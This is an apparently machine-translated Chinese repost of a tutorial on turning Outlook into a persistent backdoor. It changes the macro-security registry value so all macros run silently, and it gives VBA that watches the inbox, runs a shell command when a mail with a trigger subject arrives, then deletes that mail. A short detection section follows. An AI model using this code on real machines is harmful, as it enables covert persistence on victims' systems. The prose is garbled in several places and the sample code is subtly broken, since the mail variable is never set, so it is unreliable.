怎么利用Outlook来创建基于电子邮件的持久化后门

技术怎么利用Outlook来创建基于电子邮件的持久化后门本篇内容主要讲解“怎么利用Outlook来创建基于电子邮件的持久化后门”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎

本文主要讲解“如何使用Outlook创建基于电子邮件的持久后门”。感兴趣的朋友不妨看看。本文介绍的方法简单、快速、实用。让边肖带你学习如何使用Outlook创建一个基于电子邮件的持久后门。

技术分析

与大多数Microsoft Office产品一样,Outlook也可以启用开发人员选项,并通过VB编辑器创建基于VBA的宏。打开编辑器,然后创建一个简单的宏文件,您将看到一个名为“ThisOutlookSession”的Outlook模块:

怎么利用Outlook来创建基于电子邮件的持久化后门

保存此宏后,一个VBa项目。OTM文件将在目录“%appdata% \漫游\ Microsoft \ outlook”中创建:

怎么利用Outlook来创建基于电子邮件的持久化后门

此宏不能在默认配置中执行,因为默认配置是“除了已签名的宏之外,所有宏都被禁用”。

但是,我们可以通过创建具有以下值的安全注册表项来修改此配置:

怎么利用Outlook来创建基于电子邮件的持久化后门

“级别”值定义宏安全配置,包含以下值:

4=取消宏观通知

3=notificationsfordigtallysignedmacros,allothermacrosdisabled

2=通知存储宏

1=EnableallMacros如果我们想让宏在不通知用户的情况下以隐藏的方式运行,我们需要设置“Level”的值,以便在操作过程中启用所有宏。

通过检查VbaProject。OTM文件,我们发现它是一个标准的微软复合文档文件(CDF):

dmc@deathstar~file~/VbaProject。OTM

VBA项目。otm:复合文档文件V2Document,CannotReadSectionInfo深入分析oledump.py,我们发现包含宏代码的OLE数据流:

DMC @ death star ~ python oledump . py ~/VBA project。OTM

1:43“展望项目数据”

2:388“OutLook VBadata/PROJECt”

3:59“OutLookvbadata/PROJECt WM”

4:m 6156 ' outlook vbadata/VBA/this outlook session '

5:2663 ' outlook vbadata/VBA/_ VBA _ PROJECT '

63360497‘outlookvbadata/VBA/dir’现在,我们已经知道了VbaProject。OTM是一个启用了标准OLE宏的文档,因此用于创建、混淆、清除和重新加载这些文件的传统工具和技术仍然适用。接下来,我们来看看如何将其转化为耐用武器。

宏武器化

是。

了让这种VBA代码执行技术转换成对我们有用的东西,我们需要将代码作为事件的结果执行。ThisOutlookSession模块允许我们订阅Outlook中的各种事件,这就是我们实现代码执行的一个可用元素了。

针对持久化来说,目标事件的潜在选项包括用户驱动的某些事件,比如说Outlook打开或用户自行操作的某些事件,例如指定的邮件送达等等。对于我们的场景,我们将主要研究如何利用带有特定主题的邮件来执行任意的VBA。

为了确认新邮件的接收时间,我们可以在Outlook启动时首先订阅默认收件箱的相关事件。首先,在注册事件的同时在默认收件箱文件夹(olInboxItems)中设置变量:

Option Explicit
Private WithEvents olInboxItems As Items
Private Sub Application_Startup()
    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub

为了使用指向用户收件箱的引用,我们可以使用“ItemAdd”回调来接收新消息抵达事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
End Sub

具体说来,我们只对接收的电子邮件感兴趣,因此我们需要对回调进行优化,只允许新邮件来触发我们的事件。这里可以通过验证邮件类型是否为“MailItem”来实现:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)  
    If TypeOf Item Is MailItem Then
        MsgBox "You have mail"
    End If
End Sub

当然了,我们并不需要每一封接收到的邮件都触发我们的事件,所以我们需要对邮件地址、主题和正文内容等进行过滤:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Dim olMailItem As MailItem
    If TypeOf Item Is MailItem Then
       If InStr(olMailItem.Subject, "MDSec") > 0 Then
            MsgBox "Hack The Planet"
            olMailItem.Delete
        End If
    End If
    Set Item = Nothing
    Set olMailItem = Nothing
End Sub

持久化PoC

综上所属,让我们来弹个计算器(calc.exe)试试:

Option Explicit
 
Private WithEvents olInboxItems As Items
 
Private Sub Application_Startup()
    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items
End Sub
 
Private Sub olInboxItems_ItemAdd(ByVal Item As Object)
    On Error Resume Next
    Dim olMailItem As MailItem
    If TypeOf Item Is MailItem Then
       If InStr(olMailItem.Subject, "MDSec") > 0 Then
            MsgBox "Hack The Planet"
            Shell "calc.exe"
            olMailItem.Delete
        End If
    End If
    Set Item = Nothing
    Set olMailItem = Nothing
End Sub

PoC演示

怎么利用Outlook来创建基于电子邮件的持久化后门

怎么利用Outlook来创建基于电子邮件的持久化后门

检测

从目标设备的角度来看,我们可以通过下列两个关键指标来检测这种攻击技术:

  • 监控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的创建和修改事件(Sysmon 事件 ID 11);

  • 监控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注册表键值的创建和修改事件(Sysmon 事件 ID 12);

到此,相信大家对“怎么利用Outlook来创建基于电子邮件的持久化后门”有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/42403.html

(0)

相关推荐

  • 条条大路通罗马下一句,条条大路通罗马出自谁的什么文章

    技术条条大路通罗马下一句,条条大路通罗马出自谁的什么文章“条条大路通罗马”原话是“All Roads Lead to Rome”条条大路通罗马下一句,这是一句谚语,出自《罗马典故》,是指做成一件事的方法不只一种,人生的路

    生活 2021年10月22日
  • CSS面试题有哪些

    技术CSS面试题有哪些本篇内容主要讲解“CSS面试题有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“CSS面试题有哪些”吧!1、flex常见面试题Flex 是 Flexi

    攻略 2021年12月10日
  • 五经是指哪五经,古代的【五经】是指哪五经哦!

    技术五经是指哪五经,古代的【五经】是指哪五经哦!儒家经典五经是指哪五经:六艺《易经》、《尚书》、《诗经》、《礼记》、《乐》、《春秋》。其中《乐》已失传。五经《易经》、《尚书》、《诗经》、《礼记》、《春秋》,四书是《大学》

    生活 2021年10月30日
  • Bytom如何使用PAT树

    技术Bytom如何用PAT树本篇内容介绍了“Bytom如何用PAT树”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!为什么

    攻略 2021年12月20日
  • 题目1有序数组的平方【 map和sort的使用 】

    技术题目1有序数组的平方【 map和sort的使用 】 题目1有序数组的平方【 map和sort的使用 】map()方法定义在JavaScript的Array中,它返回一个新的数组,新返回数组中的每个元

    礼包 2021年12月24日
  • 容斥问题公式,四个集合的容斥原理公式怎么解决

    技术容斥问题公式,四个集合的容斥原理公式怎么解决用|A|表示集合A的基数,也即集合A中元素的个数。则有|A∪B∪C∪D|=|A|+|B|+|C|+|D|-|A∩B|-|A∩C|-|A∩D|-|B∩C|-|B∩D|-|C∩

    生活 2021年10月26日